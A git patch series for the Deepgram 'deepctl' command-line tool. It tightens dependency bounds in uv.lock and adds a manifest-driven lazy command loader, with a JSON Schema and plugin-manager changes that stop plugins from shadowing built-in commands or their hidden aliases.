     { name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=6.0.0" },
     { name = "pytest-mock", marker = "extra == 'dev'", specifier = ">=3.14.0" },
-    { name = "rich", specifier = ">=13.9.4" },
+    { name = "rich", specifier = ">=13.9.4,<16" },
     { name = "ruff", marker = "extra == 'dev'", specifier = ">=0.8.1" },
 ]
 provides-extras = ["dev"]
@@ -1490,11 +1479,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1511,11 +1500,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1554,12 +1543,12 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1576,11 +1565,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1597,11 +1586,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1617,10 +1606,10 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1637,11 +1626,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1685,17 +1674,17 @@ dev = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "httpx", specifier = ">=0.24.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
     { name = "packaging", specifier = ">=21.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=7.0.0" },
     { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=0.21.0" },
     { name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=4.0.0" },
     { name = "pytest-mock", marker = "extra == 'dev'", specifier = ">=3.10.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 provides-extras = ["dev"]
 
@@ -1715,13 +1704,13 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1752,21 +1741,21 @@ dev = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "keyring", specifier = ">=24.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "keyring", specifier = ">=24.0.0,<26" },
     { name = "packaging", specifier = ">=21.0" },
-    { name = "platformdirs", specifier = ">=3.0.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
+    { name = "platformdirs", specifier = ">=3.0.0,<5" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "pyjwt", specifier = ">=2.8.0" },
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=7.0.0" },
     { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=0.21.0" },
     { name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=4.0.0" },
     { name = "pytest-mock", marker = "extra == 'dev'", specifier = ">=3.10.0" },
     { name = "pyyaml", specifier = ">=6.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 provides-extras = ["dev"]
 
@@ -1801,11 +1790,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1822,10 +1811,10 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
     { name = "sentry-sdk", specifier = ">=2.35.0,<3" },
 ]
 
@@ -3898,15 +3887,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/7d/9b/e2421d08956d0bc4691d995393d835e563886bff499d8fb10fdefae85a8d/sentry_sdk-2.68.0-py3-none-any.whl", hash = "sha256:538e56c2d03679d42f7c0cb5f1af73a7a510b00abc7e296c13ac49b107b713a4", size = 518670, upload-time = "2026-08-13T09:06:19.735Z" },
 ]
 
-[[package]]
-name = "shellingham"
-version = "1.5.4"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" },
-]
-
 [[package]]
 name = "sounddevice"
 version = "0.5.6"
@@ -4032,21 +4012,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/96/08/ddcdc06225eaad6de0e48e1002b06d919dbde20582d0662c7af51308e5d6/twine-7.0.0-py3-none-any.whl", hash = "sha256:b854164df26db268af05f49aa5c0344b10e27a494343ff05b1e0bad3b135f5a7", size = 43204, upload-time = "2026-07-27T15:58:59.26Z" },
 ]
 
-[[package]]
-name = "typer"
-version = "0.27.1"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
-    { name = "annotated-doc" },
-    { name = "colorama", marker = "sys_platform == 'win32'" },
-    { name = "rich" },
-    { name = "shellingham" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/ae/40/4a3db7990d1f62a53182aa96eaef57aeb2886a27f90a195bc66713565d31/typer-0.27.1.tar.gz", hash = "sha256:a79bef8469a79c45498e7b814ecf8d603cc7644e9acbd9e19cac0334240b18df", size = 203994, upload-time = "2026-08-03T14:41:03.438Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/43/89/9518bc0c3929bee36b3a4a8e3daddd6e03f92f9961c66d4983b837160543/typer-0.27.1-py3-none-any.whl", hash = "sha256:53150287edd11baeb4e4722c8e394fcdf8181c0ae89485cba8d25c778d5edd56", size = 122874, upload-time = "2026-08-03T14:41:04.391Z" },
-]
-
 [[package]]
 name = "types-pyyaml"
 version = "6.0.12.20260815"

From b7fd286643434ba1bb1df494d1cf38f46a19dbac Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 14:12:54 -0400
Subject: [PATCH 06/88] feat(cli): load commands from a generated manifest

Each built-in command has a fragment in src/deepctl/_manifest.d/ with
its module, class, distribution, help summary, hidden aliases, whether
it is a group and whether it needs auth.
deepctl._manifest_build.assemble() checks the fragments and the rules
across them (a command, alias or tool name may appear once; a
subcommand's group must exist) and builds deepctl/_manifest.json. The
setuptools build_py hook writes that file into every wheel (setuptools
77 or newer); a source tree assembles the fragments in memory instead.
The JSON Schema is docs/contracts/manifest.schema.json. A missing or
invalid manifest ends the run with one line on stderr and exit 1.

The root group is a LazyGroup. Root --help lists the built-ins from the
manifest, and a command's module is imported only when that command runs
or shows its own help. Built-ins load from the manifest's module, never
through an entry point, and the reserved names in plugin_manager, hidden
aliases included, come from the manifest. Plugins are discovered only
for a name that isn't built in, for root --help, for shell completion,
for dg plugin list and for a built-in listed in plugins.allow_override,
with the 0.4.1 checks unchanged. A command whose module can't be
imported reports dependency_missing (exit 1, details.dependency names
the distribution).

Hidden aliases such as debug-audio replace the hyphenated-command
preprocessor and its entry point scan; only the command word is
rewritten. An alias always runs its built-in, unless allow_override
lists it and a plugin registers that name. Any other <group>-<x> runs
<group> <x> when <group> is a built-in group and <x> one of its
subcommands, a plugin's included; an unknown one falls through to plugin
discovery. DEEPCTL_EAGER_LOAD=1 loads every command up front as 0.4.x
did (0.5.x only). DEEPCTL_PROG_NAME sets the program name in usage
lines, python -m deepctl shows dg and leaves the working directory off
sys.path. For people, a usage error starts with Click's usage and Try
lines; in agent mode (CI included) it prints only "ERROR: <message>"
and "HINT: Run <prog> <command> --help to see valid options." The hint
for a global option given after the command names the real program and
command. The dependency_missing agent hint reads "Tell the user <prog>
needs <dependency>. Suggested fix: <hint>". Help runs skip the
background update and AI-CLI checks. jsonschema becomes a test
dependency.

dg mcp's fragment has requires_auth false: it reads the key on each
tool call.
---
 .gitignore                                    |   3 +
 MANIFEST.in                                   |   2 +
 README.md                                     |   7 +-
 docs/contracts/manifest.schema.json           | 123 ++++
 .../src/deepctl_core/plugin_manager.py        | 141 ++--
 pyproject.toml                                |  15 +-
 src/deepctl/__main__.py                       |  23 +-
 src/deepctl/_cli.py                           | 655 ++++++++++++++----
 src/deepctl/_manifest.d/api.json              |   9 +
 src/deepctl/_manifest.d/billing.json          |   9 +
 src/deepctl/_manifest.d/completion.json       |   9 +
 src/deepctl/_manifest.d/debug-audio.json      |  13 +
 src/deepctl/_manifest.d/debug-browser.json    |  13 +
 src/deepctl/_manifest.d/debug-network.json    |  13 +
 src/deepctl/_manifest.d/debug-probe.json      |  13 +
 src/deepctl/_manifest.d/debug-toolkit.json    |  13 +
 src/deepctl/_manifest.d/debug.json            |  10 +
 src/deepctl/_manifest.d/ffprobe.json          |   9 +
 src/deepctl/_manifest.d/init.json             |   9 +
 src/deepctl/_manifest.d/keys.json             |   9 +
 src/deepctl/_manifest.d/listen.json           |   9 +
 src/deepctl/_manifest.d/login.json            |   9 +
 src/deepctl/_manifest.d/logout.json           |   9 +
 src/deepctl/_manifest.d/mcp.json              |   9 +
 src/deepctl/_manifest.d/members.json          |   9 +
 src/deepctl/_manifest.d/models.json           |   9 +
 src/deepctl/_manifest.d/plugin.json           |  10 +
 src/deepctl/_manifest.d/profiles.json         |   9 +
 src/deepctl/_manifest.d/projects.json         |   9 +
 src/deepctl/_manifest.d/read.json             |   9 +
 src/deepctl/_manifest.d/requests.json         |   9 +
 src/deepctl/_manifest.d/skills.json           |  10 +
 src/deepctl/_manifest.d/speak.json            |   9 +
 src/deepctl/_manifest.d/transcribe.json       |   9 +
 src/deepctl/_manifest.d/update.json           |   9 +
 src/deepctl/_manifest.d/usage.json            |   9 +
 src/deepctl/_manifest.d/whoami.json           |   9 +
 src/deepctl/_manifest.py                      | 122 ++++
 src/deepctl/_manifest_build.py                | 264 +++++++
 src/deepctl/main.py                           |  34 +-
 tests/unit/test_entry_point.py                |   2 +-
 tests/unit/test_install_hook.py               |   4 +-
 tests/unit/test_lazy_group.py                 | 542 +++++++++++++++
 tests/unit/test_main.py                       | 173 +++--
 tests/unit/test_manifest.py                   | 366 ++++++++++
 tests/unit/test_prog_name.py                  |  67 ++
 tests/unit/test_telemetry_wiring.py           |  49 +-
 uv.lock                                       |   6 +
 48 files changed, 2628 insertions(+), 254 deletions(-)
 create mode 100644 MANIFEST.in
 create mode 100644 docs/contracts/manifest.schema.json
 create mode 100644 src/deepctl/_manifest.d/api.json
 create mode 100644 src/deepctl/_manifest.d/billing.json
 create mode 100644 src/deepctl/_manifest.d/completion.json
 create mode 100644 src/deepctl/_manifest.d/debug-audio.json
 create mode 100644 src/deepctl/_manifest.d/debug-browser.json
 create mode 100644 src/deepctl/_manifest.d/debug-network.json
 create mode 100644 src/deepctl/_manifest.d/debug-probe.json
 create mode 100644 src/deepctl/_manifest.d/debug-toolkit.json
 create mode 100644 src/deepctl/_manifest.d/debug.json
 create mode 100644 src/deepctl/_manifest.d/ffprobe.json
 create mode 100644 src/deepctl/_manifest.d/init.json
 create mode 100644 src/deepctl/_manifest.d/keys.json
 create mode 100644 src/deepctl/_manifest.d/listen.json
 create mode 100644 src/deepctl/_manifest.d/login.json
 create mode 100644 src/deepctl/_manifest.d/logout.json
 create mode 100644 src/deepctl/_manifest.d/mcp.json
 create mode 100644 src/deepctl/_manifest.d/members.json
 create mode 100644 src/deepctl/_manifest.d/models.json
 create mode 100644 src/deepctl/_manifest.d/plugin.json
 create mode 100644 src/deepctl/_manifest.d/profiles.json
 create mode 100644 src/deepctl/_manifest.d/projects.json
 create mode 100644 src/deepctl/_manifest.d/read.json
 create mode 100644 src/deepctl/_manifest.d/requests.json
 create mode 100644 src/deepctl/_manifest.d/skills.json
 create mode 100644 src/deepctl/_manifest.d/speak.json
 create mode 100644 src/deepctl/_manifest.d/transcribe.json
 create mode 100644 src/deepctl/_manifest.d/update.json
 create mode 100644 src/deepctl/_manifest.d/usage.json
 create mode 100644 src/deepctl/_manifest.d/whoami.json
 create mode 100644 src/deepctl/_manifest.py
 create mode 100644 src/deepctl/_manifest_build.py
 create mode 100644 tests/unit/test_lazy_group.py
 create mode 100644 tests/unit/test_manifest.py
 create mode 100644 tests/unit/test_prog_name.py

diff --git a/.gitignore b/.gitignore
index 77c72295..bc4c59db 100644
--- a/.gitignore
+++ b/.gitignore
@@ -164,3 +164,6 @@ tmp_community-turbo/
 tmp_deepgram-cli/
 # Local Netlify folder
 .netlify
+
+# The command manifest, assembled at build time from src/deepctl/_manifest.d/
+src/deepctl/_manifest.json
diff --git a/MANIFEST.in b/MANIFEST.in
new file mode 100644
index 00000000..241d15cd
--- /dev/null
+++ b/MANIFEST.in
@@ -0,0 +1,2 @@
+# The command manifest fragments are build input for the sdist.
+graft src/deepctl/_manifest.d
diff --git a/README.md b/README.md
index f815c430..b4184fd4 100644
--- a/README.md
+++ b/README.md
@@ -423,8 +423,11 @@ dg plugin remove <package>              # Remove
 
 Create your own — see the [plugin example](packages/deepctl-plugin-example).
 
-A plugin can't replace a built-in command such as `login` or `debug audio`.
-dg runs the built-in and prints a warning that names the plugin's package.
+A plugin can't replace a built-in command such as `login` or `debug audio`
+(or its hidden alias `debug-audio`). dg runs the built-in without loading the
+plugin. The warning that names the plugin's package shows whenever dg looks
+for plugins: on `dg --help`, `dg plugin list` and command names dg doesn't
+know. Use `dg plugin list` to see refused or shadowing plugins.
 A plugin whose entry point is named like a built-in command is skipped before
 it's imported, so none of its code runs; give the entry point a different name.
 To use a plugin's version anyway, list the command in the user config file
diff --git a/docs/contracts/manifest.schema.json b/docs/contracts/manifest.schema.json
new file mode 100644
index 00000000..b717fae7
--- /dev/null
+++ b/docs/contracts/manifest.schema.json
@@ -0,0 +1,123 @@
+{
+  "$schema": "https://json-schema.org/draft/2020-12/schema",
+  "$id": "https://github.com/deepgram/cli/docs/contracts/manifest.schema.json",
+  "title": "deepctl command manifest",
+  "description": "deepctl/_manifest.json, assembled by deepctl/_manifest_build.py:assemble() from the per-command fragments in deepctl/_manifest.d/ (ADR-02, W3.2). $defs.fragment describes one fragment. Rules that span fragments (unique command paths, alias and tool names; a subcommand's group must have a fragment; an alias can't be a command name) are checked by assemble().",
+  "type": "object",
+  "additionalProperties": false,
+  "required": ["manifest_version", "commands", "aliases", "tools"],
+  "properties": {
+    "manifest_version": {
+      "description": "Format version. Readers refuse a version they don't know.",
+      "const": 1
+    },
+    "commands": {
+      "description": "Command path (the words after the program name, e.g. \"listen\" or \"debug audio\") to its entry.",
+      "type": "object",
+      "propertyNames": {"$ref": "#/$defs/path"},
+      "additionalProperties": {"$ref": "#/$defs/command"}
+    },
+    "aliases": {
+      "description": "Hidden alias (not listed in --help) to the command path it runs, e.g. \"debug-audio\": \"debug audio\".",
+      "type": "object",
+      "propertyNames": {"$ref": "#/$defs/name"},
+      "additionalProperties": {"$ref": "#/$defs/path"}
+    },
+    "tools": {
+      "description": "MCP tool name to the command path that implements it.",
+      "type": "object",
+      "propertyNames": {"$ref": "#/$defs/tool"},
+      "additionalProperties": {"$ref": "#/$defs/path"}
+    }
+  },
+  "$defs": {
+    "name": {
+      "description": "A command or alias name: the 0.4.2 plugin name rule.",
+      "type": "string",
+      "pattern": "^[a-z][a-z0-9-]{0,63}$"
+    },
+    "tool": {
+      "type": "string",
+      "pattern": "^[a-z][a-z0-9_]{0,63}$"
+    },
+    "path": {
+      "description": "One command name, or a group and a subcommand separated by one space.",
+      "type": "string",
+      "pattern": "^[a-z][a-z0-9-]{0,63}( [a-z][a-z0-9-]{0,63})?$"
+    },
+    "module": {
+      "type": "string",
+      "pattern": "^[A-Za-z_][A-Za-z0-9_]*(\\.[A-Za-z_][A-Za-z0-9_]*)*$"
+    },
+    "attr": {
+      "type": "string",
+      "pattern": "^[A-Za-z_][A-Za-z0-9_]*$"
+    },
+    "dist": {
+      "description": "The distribution that ships the module (named in dependency_missing).",
+      "type": "string",
+      "pattern": "^[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?$"
+    },
+    "summary": {
+      "description": "The one-line help shown in the parent's command list (Click short_help).",
+      "type": "string",
+      "minLength": 1
+    },
+    "deprecated": {
+      "description": "Click's deprecated flag: true, or the text shown after (DEPRECATED: ...).",
+      "oneOf": [{"const": true}, {"type": "string", "minLength": 1}]
+    },
+    "command": {
+      "type": "object",
+      "additionalProperties": false,
+      "required": ["module", "attr", "dist", "summary", "hidden", "requires_auth"],
+      "properties": {
+        "module": {"$ref": "#/$defs/module"},
+        "attr": {"$ref": "#/$defs/attr"},
+        "dist": {"$ref": "#/$defs/dist"},
+        "summary": {"$ref": "#/$defs/summary"},
+        "hidden": {"type": "boolean"},
+        "group": {
+          "description": "Present (true) when the command is a group that plugins can add subcommands to.",
+          "const": true
+        },
+        "requires_auth": {"type": "boolean"},
+        "deprecated": {"$ref": "#/$defs/deprecated"}
+      }
+    },
+    "fragment": {
+      "description": "deepctl/_manifest.d/<name>.json, or <parent>-<name>.json for a subcommand. Owned by the command's own changes.",
+      "type": "object",
+      "additionalProperties": false,
+      "required": ["name", "module", "attr", "dist", "summary"],
+      "properties": {
+        "name": {"$ref": "#/$defs/name"},
+        "parent": {"$ref": "#/$defs/name"},
+        "module": {"$ref": "#/$defs/module"},
+        "attr": {"$ref": "#/$defs/attr"},
+        "dist": {"$ref": "#/$defs/dist"},
+        "summary": {"$ref": "#/$defs/summary"},
+        "hidden": {"type": "boolean", "default": false},
+        "group": {
+          "description": "The command is a group: an unknown dg <name>-<x> runs dg <name> <x> when <x> is one of its subcommands.",
+          "type": "boolean",
+          "default": false
+        },
+        "requires_auth": {"type": "boolean", "default": false},
+        "deprecated": {"$ref": "#/$defs/deprecated"},
+        "aliases": {
+          "description": "Hidden names that run this command (e.g. debug-audio for debug audio).",
+          "type": "array",
+          "items": {"$ref": "#/$defs/name"},
+          "uniqueItems": true
+        },
+        "tools": {
+          "description": "MCP tools this command implements.",
+          "type": "array",
+          "items": {"$ref": "#/$defs/tool"},
+          "uniqueItems": true
+        }
+      }
+    }
+  }
+}
diff --git a/packages/deepctl-core/src/deepctl_core/plugin_manager.py b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
index 68a743b3..894ac79a 100644
--- a/packages/deepctl-core/src/deepctl_core/plugin_manager.py
+++ b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
@@ -7,6 +7,7 @@
 from collections.abc import Collection, Mapping
 from importlib import metadata
 from pathlib import Path
+from types import MappingProxyType
 from typing import Any, cast
 
 import click
@@ -40,49 +41,40 @@
 # corrupt `dg ... -o json` payloads on stdout.
 console = stderr_console
 
-# Built-in command names and the exact module each one may be loaded from.
-# A command is built-in only when its entry point's module is the one
-# listed here: never by a ``deepctl_cmd_`` prefix or a distribution name, since
-# any wheel can ship such a package or a dist-info named like ours. Every
-# listed name is reserved: a command with that name from any other module is
-# skipped, even when the built-in itself is missing.
-BUILTIN_COMMAND_MODULES: Mapping[str, str] = {
-    "api": "deepctl_cmd_api.command",
-    "billing": "deepctl_cmd_billing.command",
-    "completion": "deepctl_cmd_completion.command",
-    "debug": "deepctl_cmd_debug.command",
-    "ffprobe": "deepctl_cmd_ffprobe.command",
-    "init": "deepctl_cmd_init.command",
-    "keys": "deepctl_cmd_keys.command",
-    "listen": "deepctl_cmd_listen.command",
-    "login": "deepctl_cmd_login.command",
-    "logout": "deepctl_cmd_login.command",
-    "mcp": "deepctl_cmd_mcp.command",
-    "members": "deepctl_cmd_members.command",
-    "models": "deepctl_cmd_models.command",
-    "plugin": "deepctl_cmd_plugin.command",
-    "profiles": "deepctl_cmd_login.command",
-    "projects": "deepctl_cmd_projects.command",
-    "read": "deepctl_cmd_read.command",
-    "requests": "deepctl_cmd_requests.command",
-    "skills": "deepctl_cmd_skills.command",
-    "speak": "deepctl_cmd_speak.command",
-    "transcribe": "deepctl_cmd_transcribe.command",
-    "update": "deepctl_cmd_update.command",
-    "usage": "deepctl_cmd_usage.command",
-    "whoami": "deepctl_cmd_login.command",
-}
+# Built-in command names and the exact module each one may be loaded from,
+# from the command manifest (``deepctl._manifest``). A command is
+# built-in only when its module is the one listed here: never by a
+# ``deepctl_cmd_`` prefix or a distribution name, since any wheel can ship
+# such a package or a dist-info named like ours. Every listed name is
+# reserved: a command with that name from any other module is skipped, even
+# when the built-in itself is missing.
+
+
+def _manifest_tables() -> tuple[
+    dict[str, str], dict[str, dict[str, str]], frozenset[str]
+]:
+    try:
+        from deepctl import _manifest
+    except ImportError:
+        # deepctl-core without the deepctl CLI: nothing is built in.
+        return {}, {}, frozenset()
+    return (
+        _manifest.builtin_command_modules(),
+        _manifest.builtin_subcommand_modules(),
+        frozenset(_manifest.aliases()),
+    )
+
+
+_COMMANDS, _SUBCOMMANDS, _ALIASES = _manifest_tables()
+BUILTIN_COMMAND_MODULES: Mapping[str, str] = MappingProxyType(_COMMANDS)
 
 # Built-in subcommands per built-in group, with the same rule.
-BUILTIN_SUBCOMMAND_MODULES: Mapping[str, Mapping[str, str]] = {
-    "debug": {
-        "audio": "deepctl_cmd_debug_audio.command",
-        "browser": "deepctl_cmd_debug_browser.command",
-        "network": "deepctl_cmd_debug_network.command",
-        "probe": "deepctl_cmd_debug_probe.command",
-        "toolkit": "deepctl_cmd_debug_toolkit.command",
-    },
-}
+BUILTIN_SUBCOMMAND_MODULES: Mapping[str, Mapping[str, str]] = MappingProxyType(
+    {group: MappingProxyType(subs) for group, subs in _SUBCOMMANDS.items()}
+)
+# Hidden aliases (``debug-audio``) are reserved like built-in names.
+BUILTIN_ALIASES: frozenset[str] = _ALIASES
+del _COMMANDS, _SUBCOMMANDS, _ALIASES
 
 
 # Messages.
@@ -324,6 +316,8 @@ def _admit(
         if expected is not None and _entry_point_module(entry_point) == expected:
             return "builtin"
         taken = set(builtin_modules) | set(reserved)
+        if not path_prefix:
+            taken |= BUILTIN_ALIASES
         command_path = f"{path_prefix}{name}"
         if _VALID_PLUGIN_NAME.fullmatch(name) is None:
             self._warn_bad_name(ascii(f"{path_prefix}{name}"), entry_point)
@@ -455,6 +449,71 @@ def load_plugins(self, cli_group: click.Group) -> None:
         with TimingContext("plugin_venv_loading"):
             self._load_plugin_venv_entries(cli_group)
 
+    def load_builtin(
+        self, cli_group: click.Group, name: str, entry: Mapping[str, Any]
+    ) -> None:
+        """Load one built-in command from its manifest entry.
+
+        The module comes from the manifest, never from an entry point, so a
+        stray dist-info can't stand in for it. An ``ImportError`` propagates:
+        the caller reports ``dependency_missing``.
+        """
+        entry_point = metadata.EntryPoint(
+            name=name,
+            value=f"{entry['module']}:{entry['attr']}",
+            group="deepctl.commands",
+        )
+        self._register(cli_group, entry_point, frozenset())
+
+    def load_builtin_subcommand(
+        self, group: click.Group, group_name: str, name: str, entry: Mapping[str, Any]
+    ) -> None:
+        """Load one built-in subcommand from its manifest entry when the
+        group's entry point scan didn't find it. ``ImportError`` propagates."""
+        subcommand_class = metadata.EntryPoint(
+            name=name,
+            value=f"{entry['module']}:{entry['attr']}",
+            group=f"deepctl.subcommands.{group_name}",
+        ).load()
+        instance = subcommand_class()
+        if _command_name(instance) != name:
+            return
+        click_subcommand = self._create_click_command(instance)
+        if _command_name(click_subcommand) == name:
+            group.add_command(click_subcommand, name=name)
+
+    def discover_plugins(self, cli_group: click.Group) -> None:
+        """Register every plugin command, leaving the built-ins to the
+        manifest.
+
+        Scans ``deepctl.commands`` for entries whose module isn't the
+        built-in's own, then ``deepctl.plugins`` and the plugin venv, with
+        the same checks as ``load_plugins``: reserved built-in names, the
+        name rule and ``plugins.allow_override``.
+        """
+        with TimingContext("external_plugins_loading"):
+            self._load_foreign_commands(cli_group)
+            self._load_external_plugins(cli_group)
+        with TimingContext("plugin_venv_loading"):
+            self._load_plugin_venv_entries(cli_group)
+
+    def _load_foreign_commands(self, cli_group: click.Group) -> None:
+        """``deepctl.commands`` entries other than the built-ins themselves."""
+        try:
+            entry_points = metadata.entry_points().select(group="deepctl.commands")
+            reserved = self._existing_names(cli_group)
+            for entry_point in entry_points:
+                if BUILTIN_COMMAND_MODULES.get(entry_point.name) == _entry_point_module(
+                    entry_point
+                ):
+                    continue  # the built-in's own entry point
+                try:
+                    self._register(cli_group, entry_point, reserved)
+                except Exception as e:
+                    _load_error("command", entry_point.name, e)
+        except Exception as e:
+            _load_error("commands", "", e)
+
     def _load_builtin_commands(self, cli_group: click.Group) -> None:
         """Load built-in commands from the commands entry point group."""
         try:
diff --git a/pyproject.toml b/pyproject.toml
index cdef3d26..08d77a05 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,5 +1,5 @@
 [build-system]
-requires = ["setuptools>=61.0", "wheel"]
+requires = ["setuptools>=77", "wheel"]
 build-backend = "setuptools.build_meta"
 
 [project]
@@ -83,6 +83,9 @@ dev = [
     "pytest-mock>=3.10.0",
     "pytest-timeout>=2.3.1,<3",
     "responses>=0.23.0",
+    # tests/unit/test_manifest.py validates the command manifest against
+    # docs/contracts/*.schema.json.
+    "jsonschema>=4.18.0",
     # Code Quality
     "ruff>=0.8.0",
     "mypy>=1.0.0",
